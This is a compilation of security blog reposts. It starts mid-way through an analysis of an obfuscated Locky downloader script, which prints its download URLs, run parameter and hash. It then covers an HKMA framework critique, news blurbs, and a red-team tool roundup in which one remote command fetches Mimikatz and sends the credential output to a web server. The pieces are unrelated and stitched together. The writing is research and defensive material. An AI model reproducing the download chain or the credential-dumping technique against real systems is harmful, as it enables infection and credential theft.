It consist of several segments. First one is empty. Second – contains function named bar that is defined as a wrapper for standard function eval (used to execute the given code). Third contains a variable filled with an obfuscated content. Fourth contains a small routine used for decrypting the content stored in that variable. And finally, in the fifth segment, the prepared code is executed.

Using some online tools for testing scripts (i.e. this one), we can run the deobfuscating code and display the result instead of executing it, i.e:

elements

That’s how the second layer gets revealed. This part is also contains obfuscation (see the full script on Github).
Content is unreadable: we can see many small functions with meaningless names. Also, all used strings are split into chunks. Each chunk is stored in a variable with some random name.We can start deobfuscation from searching elements that potentially can lead us to the URL – for example “GET” that is probably used to make a HTTP request:

var HTb = "GET" + "";
var BMy = "open" + "";

It is referenced in the fragment of code that. most probably, is the entry point of the execution

The lines:

            Yr2[BMy](HTb, VVq[Vc6++ % VVq[Ep + (function VSc8() {
                return Nt;
            }())]], false);
            Yr2[Cp + CMj8]();

Look much more meaningfil after simple substitution of the variables by it’s values:

            Yr2["open"]("GET", VVq[Vc6++ % VVq["length"]], false);
            Yr2["send"]();

The context signifies the variable VVq must store an array of URLs to be opened.

That’s how the mentioned variable looks in the obfuscated code:

There are many elements concatenated together, and small inline functions, which role is nothing more but to return a previously defined value.

After substituting those parts, we get:

That turns out to be a list of 3 URLs :

"http://ift.tt/2aa0wXs;,
"http://ift.tt/2axftpI;, 
"http://ift.tt/2aa0rDb;

They are used as alternatives for downloading the executable:

mal2

The fetched payload looks valid, but yet it doesn’t run. We can expect that distributors of the malware used a common technique of requiring a parameter at runtime, to make analysis more difficult. This parameter will be passed by the script. The aim of this trick is that only a victim, who got infected by the downloader can get the payload deployed – and not an analyst who try to run the file as standalone, in controlled environment.

We can go back to analyze the script in order to find out the parameter’s value. Deobfuscated fragment is listed below:

As we can see, the script downloads the file from one of the hardcoded URLs, saves it in the %TEMP% folder (under the name “sioLzkk2X.exe”) and then executes. In the line responsible for running the downloaded file we can see that indeed a parameter is given: “321”.

Knowing this we are able to deploy the file and use it for further analysis. It turns out to be Locky – (md5=19f9a448efdad967894574f85987acb3). Like the previous case, it is an offline variant, producing files with extension .zepto.

Conclusion

This type of downloaders are automatically generated by spam factories (similar to Bombila described here). At first, their content may look unreadable and complicated, but usually it is enough to just find and follow familiar patterns to easily deobfuscate the crucial part of the script and to retrieve the malicious URL.

Appendix

http://ift.tt/2amqitQ – analysis of a malicious DOC

http://ift.tt/2a9zfDN – deobfuscating malicious documents

 


This was a guest post written by Hasherezade, an independent researcher and programmer with a strong interest in InfoSec. She loves going in details about malware and sharing threat information with the community. Check her out on Twitter @hasherezade and her personal blog: http://ift.tt/1R6Y8zL.

Feedly:Malware Analysis. HKMA's Cyber Fortification Initiative (CFI) – Part 2



from Malware Analysis



In HKMA's Cyber Fortification Initiative (CFI) – Part 1, I have commented that there is NO urgent needs and in appropriate for HKMA to create the Professional Development Programme (PDP) under the CFI.  Now, I am going to discuss another component of the CFI - a Cyber Resilience Assessment Framework (C-RAF).

Unlike the iCAST which is incompletely copied from the CBEST (implemented by UK Bank of England), the C-RAF is borrowed from various frameworks of: (a) the Guidance of Cyber Resilience for Financial Market Infrastructures (the “Guidance”), issued by International Organization of Securities Commissions (IOSCO) and Bank for International Settlements (BIS),  (b) Cybersecurity Assessment Tool (the “Tool”), issued by Federal Financial Institutions Examination Council (FFIEC, USA) and (c) Framework for Improving Critical Infrastructure Cybersecurity (the “Framework”), issued by National Institute of Standard and Technology  (NIST, USA).

It is acceptable to design a cyber resilience framework by aligning to leading standards. However, simply copying and rewriting different parts from selected benchmark frameworks, guidelines or recommendations as our new cyber resilience solution is not a correct approach in managing cyber threats for Hong Kong’s financial industries.  The worst and risky scenario will be the case that if we are trying to insert some un-necessary component (like PDP) then pretended it is a tailor-made solution for us.


To help readers to digest the heavy contents of C-RAF and the referenced documents, I complied a table to show the differences between C-RAF and the referred documents. Of course, it is not a perfect way to form judgments to the C-RAF by referring to this table, but it provides a glimpse on how C-RAF is created.  To understand C-RAF completely, readers are advised to read all documents thoroughly line by line.


HKMA CFI
Guidance (BIS)
Tool (FFIEC)
Framework (NIST)
Targets
AI
Financial market infrastructures
Financial Institutions
Critical Infrastructure
Assessment
1.2.1
Independent and qualified personnel


5.1.2, iCAST certified

5.1.3 HKMA is prepared to set up a proper mechanism for determining the equivalent qualifications
2.2.8 Audits and compliance … be carried out by qualified individuals
[certification standard not mentioned]


Sign-off
1.2.4
CEO and independent assessor to sign-off



Inherent risk profile
2.2.1
3-risk levels (low, medium, high)
2.3.1
5-Categories (technologies, delivery channels, products, organizational characteristics, tracked records)

Part 1
5-risk  levels (least, minimal, moderate, significant, most)
5-Categories (technologies, delivery channels, online/mobile products, organizational characteristics, external threats)

Assessment Matrix
2.4.1
Matrix (indicators, criteria, risk level, supplementary info)



Maturity assessment
3.1.2
7 domains (governance, identification, protection, detection, response & recovery, situation awareness, third party risk management)
and
25 components
(Fig. 1)
5-categories (governance, identification, protection, detection, recovery)
3-components (testing, situation awareness, learning and evolving)
(Fig. 2)


Maturity matrix
3.2.4
Provide each component’s 3-maturity level (baseline, intermediate, advanced) with respective principle

Part 2
5-domains (Cyber Risk management, Threat Intelligence, CyberSecurity Control, External Dependency, Cyber Incident Management)
5-maturity levels (baseline, evolving, intermediate, advanced, innovative)

Assessment data entry
3.3.5
Option (Y|N|RA|NA), explanation (yes, risk accepted| no| not applicable) , description

3.3.6
% on each area of improvement


Table 1
Function and category unique identifiers: Unique (ID|PR|DE|RS|RC), Identifier, Functions, category)
Intelligence-led Cyber Attack Simulation Testing Framework (iCAST)
4.1.2
be armed with up-to-date and specific threat intelligence

4.1.5
execute iCAST for “intermediate” or “advanced” maturity level component






Nothing






Nothing






Nothing
Traditional penetration testing vs iCAST
4.2
Traditional pentesting has limited scope and focuses on technical assessment of a single system but iCAST be run in production environment which include assessement of readiness of human and process elements






Nothing






Nothing






Nothing
iCAST scope
4.2.4
[Testing] scope Difference

- iCAST test scope is added to Situational Awareness domain



- Traditional penetration testing scope is added to protection domain
7.
[Four] testings (Vulnerability assessment, Scenario-based testing, penetration tests and Red Team tests) is mentioned AND no scope defined

8.
Situational awareness refers to the understanding of cyber threat intelligence and making available to staff with responsibility for mitigation of cyber risks.
[iCAST like testing not mentioned]

4. Protection
[no testing method is mentioned]


iCAST Testers
5.3.3
iCAST manager
iCAST tester
iCAST supporting member



Nothing



Nothing



Nothing

In short, the core development concept for C-RAF is built from the Guidance and we can find out great similarities between 3-Compoents & 5-Categories model from the Guidance (Fig. 1) and the 7-domains model (Fig. 2) from C-RAF.  
Fig. 1 -  The Guidance 3-Compoents & 5-Categories model


Fig.2 - C-RAF 7-domain model




I am surprised to find none of these referred documents (the Guidance, the Tool and the Framework, the Nothing) are recommending any testing frameworks like iCAST.

I also have doubt if the Paper is correctly defining the scope of penetration tests by confining “Traditional Penetration Test(s)” only to the Protection domain but placing high emphasis by stretching their proposed “iCAST” to cover all key domains described by the C-RAF’s Situational Awareness component. (Fig. 3)


Fig. 3 - Scope of iCAST and Traditional Penetration Test
I have strong impression that the self-contained and complete framework proposed by the Guidance was being chopped off into various parts, then be reassembled with difference terminology and finally force inserted in the iCAST during creation of the C-RAF.

I have been supplied with a Consultation on the PDP circulated by Fin-tech Team of HKMA.  This new “consultation” emphasis that the PDP is closely interconnected with C-RAF and because of this reason, PDP must be pushed along with C-RAF.  The “consultation” further assumed iCAST is a preferable option for the PDP.   Of course, the “consultation” clarifies a bit more on the formation process of the proposed mechanism for recognizing equivalent qualifications. However, in my opinion, it looks like a notification or announcement rather than a consultation.

This “consultation” has not addressed to my key concerns that iCAST Certifications are NOT exact equivalent of CREST Penetration Testing Certifications.  It consists of only certifications for penetration testing (called intelligence-led Penetration Testing) but without CREST STAR Intelligence, therefore it is NOT the same CBEST adopted by Bank of England. I am not happy to accept the implementation logic by claiming (1) CREST is used by Bank of England and (2) iCAST will be supported by CREST then (3) iCAST Certifications should be regarded as the preferable choice to be accredited by C-RAF.  Actually, the “consultant” did not provide the syllabus for the proposed iCAST.

If HKMA really want to adopt the framework that is used by Bank of England, please implement CBEST (CREST STAR certifications) and don’t try to ask a pity banking professional organization to host examinations for Cyber Security with unknown syllabus iCAST.


Feedly:Fortinet Blog | News and Threat Research - All Posts. Bayrob - An Ancient Evil Awakens II



from Fortinet Blog | News and Threat Research - All Posts

Bayrob - An Ancient Evil Awakens II In the previous Bayrob blog, we described some of its interesting local features, such as code obfuscation and data encryption, which exist in most Bayrob variants from early versions to the latest ones we found. As you may already know know, early variants of Bayrob mainly perform “clicker” jobs. These jobs drive illegitimate traffic to websites so that they can earn money through Pay per Click or perform DDOS attacks. Compared to that, this latest Bayrob variant is much more dangerous, as it collects...

Feedly:Newest Blog Posts | Symantec Connect Community. Another media-stealing app found on Google Play



from Newest Blog Posts | Symantec Connect Community

The HTML Source Code Viewer app by Sunuba Gaming poses as a development tool then steals pictures and videos from mobile devices.
Twitter Card Style: 
summary

Last time we blogged about malware on Google Play that stole photos from Viber. Since then we’ve discovered another app on Google Play that is moving personal media files (photos and videos) off victims’ mobile devices and onto a remote server.

Click to Tweet: 
Another app that steals your pictures and videos found on Google Play
Norton's AppAdvisor can warn you before you download a malicious app
Click to Tweet Acct: 
@threatintel
@threatintel

read more

Feedly:Security News - Software vulnerabilities, data leaks, malware, viruses. Global study reveals businesses and countries vulnerable to shortage of cybersecurity talent



from Security News - Software vulnerabilities, data leaks, malware, viruses

Intel Security, in partnership with the Center for Strategic and International Studies (CSIS), has just released Hacking the Skills Shortage, a global report outlining the talent shortage crisis impacting the cybersecurity industry across both companies and nations. A majority of respondents (82 percent) admit to a shortage of cybersecurity skills, with 71 percent of respondents citing this shortage as responsible for direct and measurable damage to organizations whose lack of talent makes them more desirable hacking targets.

Feedly:FireEye Blog. Red Team Tool Roundup



from FireEye Blog

In many cases Red Team tools are not written because someone feels like writing a tool, or wakes up one morning thinking, “I want to write a tool today”. Red Teamers generally identify tedious tasks in their methodology and then create tools that automate these tasks for current and future assessments. As my boss likes to say, jokingly: laziness breeds ingenuity!

At Mandiant, we’ve developed (or significantly contributed to) a fair number of tools and scripts to make our lives easier. In order to ensure the broader security community is aware of these tools and where to download them from, we’re going to start releasing a “tool roundup” blog post on a semi-regular basis. The intent of these blog posts is to highlight newly developed tools, or major changes to existing tools. We also make this a fun read by including some case studies to demonstrate tool use.

Our Red Team is frequently introduced to diverse networks, technologies, defenses, and organizational structures. Each network presents new challenges that must be overcome, and with all clients, there is overlap with infrastructure and configuration. Existing public tools might not scale properly in larger environments or might not help the Red Team address specific phases of an attack life cycle. The tools being discussed have all been revised or developed in some form or fashion over the last couple of months. We hope they make your engagements easier and bring awareness to the community.

Domain Enumeration

Tool: ADEnumerator (http://ift.tt/2apQX7D)

Domain enumeration is an essential task during the reconnaissance phase of the attack life cycle. When you compromise a domain-joined system, it is fairly simple to enumerate objects from the domain using Active Directory Service Interfaces (ADSI) or the Windows “net” commands. ADSI works well from non-domain joined systems using the “runas” command with the “netonly” switch, as shown in Figure 1. It can be a hassle to craft detailed LDAP queries for ADSI to perform domain enumeration, so we automated this processing using raw LDAP queries in a tool called ADEnumerator.

Figure 1. Using PowerShell and ADSI for domain enumeration

ADEnumerator is a PowerShell module designed to query Active Directory servers from non-domain systems. The following use cases apply to ADEnumerator:

  1. You harvest domain credentials from a printer, via NBNS spoofing, etc., and want to start performing domain enumeration. Note: Any domain user credential can query LDAP.
  2. You want to gather more information about an account you harvested. Group naming conventions often reveal where you can use those credentials (for example, group name {systemName}_localAdmin).
  3. You are provided with credentials to start an internal penetration test from a known compromise perspective, but not a domain-joined system.
  4. You want to perform Active Directory enumeration from the command line so you can chain commands together.

Figure 2 demonstrates importing the ADEnumerator.psm1 module, establishing an LDAP connection to a domain controller, and executing various domain enumeration methods. There are plenty of additional methods within ADEnumerator – see the header of the script for a full list of methods.

Figure 2. ADEnumertor.psm1 import and enumeration

Alternatively, you can install Remote Server Administration Tools on your attack platform and use “runas” to execute “mmc” and add the Active Directory snap-in. Then you can change the domain to your target domain and view the entire Active Directory structure in a GUI, as shown in Figure 3.

Figure 3. Active Directory snap-in running as different user

Privilege Escalation and Lateral Movement

Tools: CredNinja (http://ift.tt/292iT0N) & WMIOps (http://ift.tt/1Ms1kn9)

Have you been in a situation where you have a list of more than 100 credentials, but you are not sure which credentials are valid? Or, you’re not sure which credentials have administrative rights to a target system? CredNinja was created for just that (and it can do more!). Use cases and general functionality are as follows:

  • Leverages SMB access (TCP port 445)
  • Attempts to mount C$ of all provided systems, returns:

        o   Logon Failure – Invalid credentials (protection against locking out accounts included)
        o   Access Denied – Not local admin
        o   File listing – Local admin!

  • Multi-threaded – so you can scale properly in those large environments
  • Fingerprints target operating system version and domain membership
  • If “–users” flag is enabled, it will perform a directory listing of “C:\Users” (or C:\Documents and Settings if its XP), look at the timestamp of all the home folders, and print out the users that have a home folder modified timestamp of within 100 days (this value is customizable, but the default is 100 days).
        o   Provides a quick user-hunting functionality to identify active users on the targeted system.

CredNinja is very useful when performing privilege escalation and lateral movement because you can identify systems for which your credentials have elevated privileges, and continue dumping credentials on those systems. Figure 4 demonstrates the power of CredNinja by identifying various systems where the domain credentials have local administrator rights, and whether or not credentials are invalid. CredNinja can also be run against a single system to clean up your credential list by removing invalid credentials.

Figure 4. CredNinja run against various systems using credential list

Windows Management Instrumentation (WMI) is the new hotness in terms of offensive capabilities. WMIOps is a PowerShell script that uses WMI to perform a variety of actions on hosts, local or remote, within a Windows environment. It was designed primarily for use on penetration tests or Red Team engagements. Some existing tools use WMI for offensive tasks; WMIOps was built to combine these techniques into a single tool to accomplish various tasks in the attack life cycle.

Figure 5 shows the Get-ProcessOwnersWMI method in WMIOps to get a list of users from target system Win7-Client02. User “Dick.Grayson” had local administrator privileges on Win7-Client02 and was authorized to execute arbitrary WMI commands. User “Bruce.Wayne” had running processes on Win7-Client02, which indicates that the user potentially has clear text credentials stored in Local Security Authority Subsystem Service (LSASS).

To obtain credentials for “Bruce.Wayne”, WMIOps method Invoke-RemoteScriptWithOutput is used in Figure 6 to execute a remote PowerShell process that issues command “Invoke-Expression” to download and execute the “Invoke-Mimikatz” script over HTTPS. The command also instructs the output to be sent to web server 10.181.73.210 listening on HTTPS. Mimikatz output was sent to the web server, as shown in Figure 7.

Figure 5. Get-ProcessOwnersWMI method in WMIOps to get a list of users with running processes

Figure 6. Invoke-RemoteScriptWithOutput method to call Invoke-Mimikatz and send output to the "callbacksite"

Figure 7. Mimikatz output sent from the command executed in Figure 4

Initial Vectors

Tool: EyeWitness (http://ift.tt/NwJMfU)

One of the most common initial vectors into a network is default credentials to known web administrative portals such as Jboss, Apache Tomcat, Jenkins, etc. EyeWitness is known to scale networks by taking screenshots of the web page of each web server identified in your reconnaissance phase. We added an “active-scan” module to EyeWitness that provides the following functionalities:

  • Signature authentication – Checks if the host has a known default credential signature and attempts to login using default credentials stored in a data file.
  • Check for login – Checks to see if the root path is a web login form, or is HTTP basic authentication, and attempts to authenticate to the web application using username and password combinations stored in a data file.
  • Append URLs to check for logins – Appends a list of common login pages to the web root directory. Examples of these pages are “admin”, “login”, “login.php” and more. The list of pages is stored in a data file so that it is easily customizable; feel free to add more and contribute!
        o   If a page receives a HTTP 200 response code, it will check to see if it’s a login form.
        o   EyeWitness will attempt to login to the form using username and password combinations stored in a data file.

The “active-scan” Boolean flag is shown in Figure 8. Example report and console output is shown in Figure 9 and Figure 10. An additional category called “Identified Logins” is also added to the report if EyeWitness identified a login, but was not able to authenticate to it. If you want to learn more about this module, a full blog post on this module was written here: http://ift.tt/1TGNqRS.

Figure 8. Active-scan flag in EyeWitness

Figure 9. Successful authentication using the active-scan module

Figure 10. EyeWitness report output

Attacker Simulation

Tool: Egress-Assess (http://ift.tt/1x1ELAD)

The combined capabilities of Mandiant, FireEye, and iSIGHT Partners brings unparalleled threat intelligence and technology to every engagement. Clients regularly ask us to identify threat actors targeting their industry specifically and to emulate their TTPs to assess the organization’s current detection capabilities. Egress-Assess is a Python tool that was created to emulate known attacker TTPs, such as IP addresses and Fully Qualified Domain Names (FQDNs) connecting to the Internet. Egress-Assess is publicly available; however, Mandiant maintains a proprietary version of Egress-Assess that contains known network-based indicators (NBIs) that replicate real threat groups.

Egress-Assess modifies the host value in the HTTP(s) header request to be a known-bad IP address or FQDN, and generates web requests to known-bad URIs. Furthermore, the tool can generate fake PII, PHI, or PCI data to emulate data theft. We use Egress-Assess to assess our client’s detection capabilities by emulating real threat group indicators and/or data theft. A list of supported threat actor groups available in the public version of Egress-Assess is shown in Figure 11. If you want to learn more about this Egress-Assess, a full blog post on this module was written here: http://ift.tt/1x1ELQU.

Figure 11. List of threat actors available in Egress-Assess

Conclusion

These are just a handful of tools and practical examples of using those tools for Red Team operations. We encourage you to play with these tools and start using them on your assessments or in your labs.

We want to reemphasize that each tool was created or modified as the need was identified. It can be very exciting to identify a need and develop tools and techniques to automate a task or accomplish an objective. Some tools introduce new techniques to accomplish a goal, while other tools simply automate existing tools and techniques to scale better. Whatever your motive, introducing new tools and techniques is an excellent way to provide awareness in our industry and generate higher quality security.

Feedly:Threats RSS Feed - Symantec Corp.. Exp.CVE-2016-3244



from Threats RSS Feed - Symantec Corp.

Risk Level: Very Low. Type: Trojan.
Web Analytics